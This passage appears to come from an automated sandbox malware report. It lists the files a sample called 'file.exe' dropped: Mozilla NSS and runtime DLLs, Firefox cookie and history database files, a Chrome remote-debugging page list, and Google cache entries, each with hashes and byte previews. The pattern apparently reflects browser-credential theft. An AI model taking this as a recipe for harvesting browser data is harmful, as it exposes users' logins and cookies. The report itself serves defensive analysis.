Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.37014182230255
Encrypted:	false
SSDEEP:	48:SfNaoQF6qTEQFifNaoQYQRfNaoQ48NQ4zfNaoQ9loB0UrU0U8Q9b:6NnQF6qTEQFKNnQYQtNnQdQ+NnQ00UrS
MD5:	635448021487EA0CA803A1BBF82099F5
SHA1:	8447014DF2BB7A7FBFEFD03C29F88C04CABC8C6D
SHA-256:	B0F29D7BD7E0D3736E5C0D32D9E088D5CBEF72FA0A89B7D5D08EC96309A2D65A
SHA-512:	8ABE24579DD95A712D81342A0B392869E37DC15B452B4C664363FCA8C9B30F93427B80814C4EF66AB96C98F91FECB364B772C09D8E607D5F9D5B59C7BF713CDA
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/29A284BBEE967EC26F7C580FEBBCDC74",.. "id": "29A284BBEE967EC26F7C580FEBBCDC74",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/29A284BBEE967EC26F7C580FEBBCDC74"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/1756E62E0365BA1F485CF47AEFEE64CA",.. "id": "1756E62E0365BA1F485CF47AEFEE64CA",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/1756E62E0365BA1F485CF47AEFEE64CA"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 74

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.GZmhE2vV14w.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTuKvZ-nsYNivRzfGpm8QSi6tMFrvg"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 75

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2287)
Category:	downloaded
Size (bytes):	178061
Entropy (8bit):	5.555305495625512
Encrypted:	false
SSDEEP:	3072:i7bpK2pOwPnpW+DsZDbnjuBv5Vjq3B30GSK20YOA2ZPnpm6UzDnI13o2Mn5Pz5R3:i7bzO6I+DsZDDjuBv5Vjq3B30GSXOA24
MD5:	2901E98725751AAF9E3A6DA8A0AE100F
SHA1:	9A03B9B58521464BEA5EFDB95898D7A4DE2D66C6
SHA-256:	783C8FCA9918286C64FDD9C6DF8BB841815E5F6BA7BA95424DF63EA1ACF01B2D
SHA-512:	21235956E9B45B0C78055C8862072DE63FB1971F6396945610AC925A3E9D2D9FFAEC996DF4A64B33BC57B0EF6CF185A68DAC17D9AD5E570277CDD2BB869C9EBD
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.mTUNAFoITms.2019.O/rt=j/m=q_d,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTu-nsZOrMYTmX5E4o0SDpwg5MUFYA"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.kj=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var lj,mj,oj,rj,uj,tj,nj,sj;lj=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};mj=function(){_.Ka()};oj=function(){nj===void 0&&(nj=typeof WeakMap==="function"?lj(WeakMap):null);return nj};rj=function(a,b){(_.pj\|\|(_.pj=new nj)).set(a,b);(_.qj\|\|(_.qj=new nj)).set(b,a)};.uj=function(a){if(sj===void 0){const b=new tj([],{});sj=Array.prototype.concat.call([],b).length===1}sj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.vj=function(a,b,c,d){a=_.zb(a,b,c,d);return Array.isArray(a)?a:_.Qc};_.wj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.xj=function(a,b){a===0&&(a=_.wj(a,b));return a\|1};_.yj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.zj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.Dj=function(a,b,c,d,e,f,g){const h=a.ea;var k=!!(2&b);e=k?

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (5431)
Category:	downloaded
Size (bytes):	5437
Entropy (8bit):	5.804262762327244
Encrypted:	false
SSDEEP:	96:mliDH6666te3H9M14e6O/yBME/+LhTdGPGjzttEg5clmjW+3mTHuCffffQo:8uH6666t6O14eJAITd4uzAdlm334HB
MD5:	5597C92C6AE857E8BE6294B76C79EBE9
SHA1:	76C303F040BB24998C628AD020642F743A2AC7E0
SHA-256:	6861091549EB071FB6E941C94D724051F59ABCC0F3C93859072BF5903956DE03
SHA-512:	E02A39235EE249F533FEF04454F49AD40C023F85D72E5A816468CE74606CC2BAD3B159168F238BD25D26DCD06CA94C546BBB8B140B745FC900E033C7E45BD53A
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["openness nyt crossword clue","world series dodgers game 5","trick or treat times metro detroit","chilis","tropical storms hurricanes","pok.mon tcg pocket","nfl thursday night football game","best horror movies"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"google:entityinfo":"Cg0vZy8xMXdjOG4wMDk2EgpWaWRlbyBnYW1lMo8aZGF0YTppbWFnZS9qcGVnO2Jhc2U2NCwvOWovNEFBUVNrWkpSZ0FCQVFBQUFRQUJBQUQvMndDRUFBa0dCd2dIQmdrSUJ3Z0tDZ2tMRFJZUERRd01EUnNVRlJBV0lCMGlJaUFkSHg4a0tEUXNKQ1l4Sng4ZkxUMHRNVFUzT2pvNkl5cy9SRDg0UXpRNU9qY0JDZ29LRFF3TkdnOFBHamNsSHlVM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOLy9BQUJFSUFFQUFRQU1CRVFBQ0VRRURFUUgveEFBYkFBQUNBd0VCQVFBQUFBQUFBQUFBQUFBRUJnRURCUUlBQi8vRUFEUVFBQUlCQWdVQ0JBTUdCd0VBQUFBQUFBRUNBd1FSQUFVR0lURVNFeFFpUVZFVllZRUhJekl6b2FNbFFsSnhrWkxUR

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	133762
Entropy (8bit):	5.436635375959853
Encrypted:	false
SSDEEP:	3072:2Phvjxd0QniyZ+qQf4VBNQ0pq+vx7U+OUaKszQ:Ehvv0yTVBNQ0p1vxI+ORQ
MD5:	98A504A41BC86F8DD011081CF2B7E8FF
SHA1:	B896A06A2784F4BB408F0AE5958A0779863E36C3
SHA-256:	B5E0569D4F8706DEE46856B2F175A5066DB3743772EF81EF8501FA29FAA03273
SHA-512:	BBC5F462F52D5393A6EBF85893454C8E0EBD7C3F3217E035DA24EE7FF034677BCB12E6371A0950A6D8C800F9732C9A68F0C1D1CA29510C021575B90C4AEE9D6A
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_1d gb_Pe gb_pd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Od\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_jd gb_nd gb_Ed gb_kd\"\u003e\u003cdiv class\u003d\"gb_vd gb_qd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1302)
Category:	downloaded
Size (bytes):	117949
Entropy (8bit):	5.4843553913091005
Encrypted:	false
SSDEEP:	3072:D7yvvjOy7sipKTr3dH39oogNLLDzZzS7oF:D7yjOy7LS39mnhS7oF
MD5:	A5D33473ED0997C008D1C053E0773EBE
SHA1:	FEB4CB89145601A0141CC5869BEDF9AE7CD5CB80
SHA-256:	14C27BB0224FCF89A43B444B427DABE3D0AF184CAA7B6B4990CE228C51AE01C1
SHA-512:	3C0A48F9FA05469F950D9A268F1B3E9285A783A555EE597A2E203B688EB0FBCAEA3F4DE9BC8F5381C661007D0C6C4AFA70C19B7826D69A0E2A914A55973D14BD
Malicious:	false
URL:	"https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0"
Preview:	gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);.var da,ea,ha,na,oa,sa,ta,wa;da=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.la=ha(this);na=function(a,b){if(b)a:{var c=_.la;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}};.na("Symbol",function(a){if(a)r

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
